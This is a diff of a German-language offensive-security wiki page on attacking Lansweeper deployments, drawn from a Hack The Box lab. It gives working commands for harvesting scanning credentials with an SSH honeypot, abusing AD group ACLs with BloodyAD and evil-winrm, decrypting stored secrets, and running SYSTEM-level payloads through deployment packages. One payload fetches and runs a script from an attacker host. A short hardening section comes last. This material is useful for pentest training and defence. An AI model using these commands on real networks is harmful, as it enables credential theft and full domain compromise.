+Diese Seite fasst praktische Angreifer-Workflows und Befehle zusammen, um diese Verhaltensweisen während Engagements auszunutzen.

-## 1) Scanning-Credentials per honeypot abgreifen (SSH-Beispiel)
+## 1) Scanning Credentials via honeypot abfangen (SSH-Beispiel)

-Idee: Erstelle ein Scanning Target, das auf deinen Host zeigt, und weise vorhandene Scanning-Credentials darauf zu. Wenn der Scan ausgeführt wird, versucht Lansweeper, sich mit diesen Credentials zu authentifizieren, und dein honeypot wird die Versuche erfassen.
+Idee: Erstelle ein Scanning Target, das auf deinen Host zeigt, und ordne vorhandene Scanning Credentials diesem Target zu. Wenn der Scan ausgeführt wird, versucht Lansweeper, sich mit diesen Anmeldeinformationen zu authentifizieren, und dein honeypot zeichnet sie auf.

-Schritte (Web UI):
+Schritte (web UI):
 - Scanning → Scanning Targets → Add Scanning Target
- Type: IP Range (or Single IP) = deine VPN-IP
- Configure SSH port to something reachable (z. B. 2022, falls 22 geblockt ist)
- Disable schedule und plane, manuell zu triggern
- Scanning → Scanning Credentials → sicherstellen, dass Linux/SSH-Creds existieren; diese dem neuen Target zuordnen (bei Bedarf alle aktivieren)
- Click “Scan now” am Target
- Starte einen SSH-honeypot und extrahiere die versuchten Username/Passwort-Kombinationen
+- Type: IP Range (or Single IP) = your VPN IP
+- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
+- Disable schedule and plan to trigger manually
+- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
+- Click “Scan now” on the target
+- Run an SSH honeypot and retrieve the attempted username/password

 Example with sshesame:
 ```yaml
@ -39,7 +39,7 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Erfasste creds gegen DC-Dienste validieren:
+Validiere erfasste creds gegen DC-Dienste:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
@ -47,14 +47,14 @@ netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
 Hinweise
- Funktioniert ähnlich für andere Protokolle, wenn man den Scanner zu seinem Listener zwingen kann (SMB/WinRM-Honeypots, etc.). SSH ist oft am einfachsten.
- Viele Scanner identifizieren sich durch eindeutige Client-Banner (z. B. RebexSSH) und versuchen harmlose Befehle (uname, whoami, etc.).
+- Funktioniert ähnlich für andere Protokolle, wenn wir den Scanner zu unserem listener zwingen können (SMB/WinRM honeypots, etc.). SSH ist oft am einfachsten.
+- Viele Scanner identifizieren sich mit eindeutigen Client-Bannern (z. B. RebexSSH) und versuchen harmlose Befehle (uname, whoami, etc.).

-## 2) AD ACL abuse: Remote-Zugriff erlangen, indem wir uns selbst zu einer app-admin-Gruppe hinzufügen
+## 2) AD ACL abuse: erlange Remotezugriff, indem du dich zu einer App-Admin-Gruppe hinzufügst

-Verwende BloodHound, um die effektiven Berechtigungen des kompromittierten Accounts zu ermitteln. Eine häufige Feststellung ist eine scanner- oder app-spezifische Gruppe (z. B. “Lansweeper Discovery”), die GenericAll-Rechte an einer privilegierten Gruppe besitzt (z. B. “Lansweeper Admins”). Wenn die privilegierte Gruppe außerdem Mitglied der “Remote Management Users” ist, wird WinRM verfügbar, sobald wir uns selbst hinzufügen.
+Verwende BloodHound, um die effektiven Rechte des kompromittierten Kontos zu ermitteln. Eine häufige Entdeckung ist eine scanner- oder anwendungsspezifische Gruppe (z. B. “Lansweeper Discovery”), die GenericAll über einer privilegierten Gruppe hält (z. B. “Lansweeper Admins”). Wenn die privilegierte Gruppe außerdem Mitglied der “Remote Management Users” ist, wird WinRM verfügbar, sobald wir uns selbst hinzufügen.

-Sammelbeispiele:
+Beispiele für die Sammlung:
 ```bash
 # NetExec collection with LDAP
 netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
 # RustHound-CE collection (zip for BH CE import)
 rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
 ```
-Exploit GenericAll an einer Gruppe mit BloodyAD (Linux):
+GenericAll an einer Gruppe mit BloodyAD (Linux) ausnutzen:
 ```bash
 # Add our user into the target group
 bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
@ -75,20 +75,20 @@ Dann eine interaktive Shell erhalten:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Tipp: Kerberos-Operationen sind zeitkritisch. Wenn du auf KRB_AP_ERR_SKEW stößt, synchronisiere zuerst die Uhrzeit mit dem DC:
+Tipp: Kerberos-Operationen sind zeitkritisch. Wenn du auf KRB_AP_ERR_SKEW stößt, synchronisiere zuerst mit dem DC:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
-## 3) Entschlüsseln von in Lansweeper konfigurierten Secrets auf dem Host
+## 3) Entschlüsseln von in Lansweeper konfigurierten Geheimnissen auf dem Host

-Auf dem Lansweeper-Server speichert die ASP.NET-Site typischerweise einen verschlüsselten connection string und einen symmetrischen Schlüssel, der von der Anwendung verwendet wird. Mit entsprechendem lokalem Zugriff können Sie den DB-connection string entschlüsseln und anschließend gespeicherte Scan-Credentials extrahieren.
+Auf dem Lansweeper-Server speichert die ASP.NET-Site typischerweise einen verschlüsselten Connection-String und einen symmetrischen Schlüssel, der von der Anwendung verwendet wird. Mit entsprechendem lokalen Zugriff können Sie den DB-Connection-String entschlüsseln und anschließend gespeicherte Scan-Zugangsdaten extrahieren.

 Typische Speicherorte:
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
+- Web-Config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
+- Anwendungsschlüssel: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Verwenden Sie SharpLansweeperDecrypt, um die Entschlüsselung und das Dumpen der gespeicherten creds zu automatisieren:
+Verwenden Sie SharpLansweeperDecrypt, um die Entschlüsselung und das Auslesen gespeicherter Anmeldedaten zu automatisieren:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,24 +99,24 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-Die erwartete Ausgabe enthält DB-Verbindungsdetails und Klartext-Scan-Zugangsdaten wie Windows- und Linux-Konten, die in der gesamten Infrastruktur verwendet werden. Diese haben oft erhöhte lokale Rechte auf Domain-Hosts:
+Die erwartete Ausgabe enthält DB-Verbindungsdetails und Klartext-Scanning-Zugangsdaten, wie Windows- und Linux-Konten, die im gesamten Bestand verwendet werden. Diese haben oft erhöhte lokale Rechte auf Domain-Hosts:
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Verwende wiedererlangte Windows scanning creds für privilegierten Zugriff:
+Verwende wiederhergestellte Windows scanning creds für privilegierten Zugriff:
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-Als Mitglied der “Lansweeper Admins” zeigt die Web-UI die Bereiche Deployment und Configuration. Unter Deployment → Deployment packages kannst du Packages erstellen, die beliebige Befehle auf ausgewählten Assets ausführen. Die Ausführung erfolgt durch den Lansweeper service mit hohen Rechten, was Codeausführung als NT AUTHORITY\SYSTEM auf dem ausgewählten Host ermöglicht.
+Als Mitglied der “Lansweeper Admins” zeigt die Web UI Deployment und Configuration an. Unter Deployment → Deployment packages kannst du Packages erstellen, die beliebige Befehle auf ausgewählten Assets ausführen. Die Ausführung erfolgt durch den Lansweeper-Service mit hohen Rechten und führt zu Codeausführung als NT AUTHORITY\SYSTEM auf dem ausgewählten Host.

-Wesentliche Schritte:
- Erstelle ein neues Deployment package, das einen PowerShell- oder cmd-One-Liner ausführt (reverse shell, add-user, usw.).
+Grober Ablauf:
+- Erstelle ein neues Deployment package, das einen PowerShell- oder cmd-Einzeiler ausführt (reverse shell, add-user, etc.).
 - Wähle das gewünschte Asset aus (z. B. den DC/Host, auf dem Lansweeper läuft) und klicke auf Deploy/Run now.
- Fange deine Shell als SYSTEM.
+- Erlange deine Shell als SYSTEM.

 Beispiel-Payloads (PowerShell):
 ```powershell
@ -127,23 +127,23 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Deployment-Aktionen sind laut und hinterlassen Logs in Lansweeper- und Windows-Ereignisprotokollen. Mit Bedacht einsetzen.
+- Deployment-Aktionen sind laut und hinterlassen Logs in Lansweeper und Windows-Ereignisprotokollen. Mit Bedacht einsetzen.

 ## Erkennung und Härtung

- Anonyme SMB-Aufzählungen einschränken oder entfernen. Auf RID-Cycling und anomalen Zugriff auf Lansweeper-Shares überwachen.
- Egress-Kontrollen: Ausgangs-SSH/SMB/WinRM von Scanner-Hosts blockieren oder stark einschränken. Auf nicht-standardmäßige Ports (z. B. 2022) und ungewöhnliche Client-Banner wie Rebex alarmieren.
- Schützen Sie `Website\\web.config` und `Key\\Encryption.txt`. Geheimnisse extern in einen Vault auslagern und bei Offenlegung rotieren. Service-Accounts mit minimalen Rechten und gMSA dort in Betracht ziehen, wo möglich.
- AD-Überwachung: Alarm bei Änderungen an Lansweeper-bezogenen Gruppen (z. B. „Lansweeper Admins“, „Remote Management Users“) und bei ACL-Änderungen, die GenericAll/Write-Mitgliedschaft für privilegierte Gruppen gewähren.
- Deployment-Paket-Erstellungen/-Änderungen/-Ausführungen prüfen; Alarm bei Paketen, die cmd.exe/powershell.exe starten oder unerwartete ausgehende Verbindungen herstellen.
+- Anonyme SMB-Aufzählungen einschränken oder entfernen. Auf RID cycling und anomalen Zugriff auf Lansweeper-Freigaben überwachen.
+- Egress-Kontrollen: ausgehende SSH/SMB/WinRM-Verbindungen von Scanner-Hosts blockieren oder stark einschränken. Alarm bei nicht-standardmäßigen Ports (z. B. 2022) und ungewöhnlichen Client-Bannern wie Rebex.
+- Protect `Website\\web.config` and `Key\\Encryption.txt`. Secrets extern in einen Vault auslagern und bei Offenlegung rotieren. Erwägen Sie Servicekonten mit minimalen Rechten und gMSA, wo möglich.
+- AD-Überwachung: Alarm bei Änderungen an Lansweeper-bezogenen Gruppen (z. B. “Lansweeper Admins”, “Remote Management Users”) und bei ACL-Änderungen, die GenericAll/Write-Mitgliedschaften für privilegierte Gruppen gewähren.
+- Deployment-Paket-Erstellungen/Änderungen/Ausführungen auditieren; Alarm bei Paketen, die cmd.exe/powershell.exe starten oder unerwartete ausgehende Verbindungen herstellen.

 ## Verwandte Themen
- SMB/LSA/SAMR-Aufzählung und RID-Cycling
- Kerberos password spraying und Überlegungen zu clock skew
- BloodHound-Pfadanalyse von application-admin-Gruppen
+- SMB/LSA/SAMR-Aufzählung und RID cycling
+- Kerberos password spraying und Überlegungen zur clock skew
+- BloodHound-Pfad-Analyse von application-admin groups
 - WinRM-Nutzung und lateral movement

-## References
+## Referenzen
 - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
 - [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
 - [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)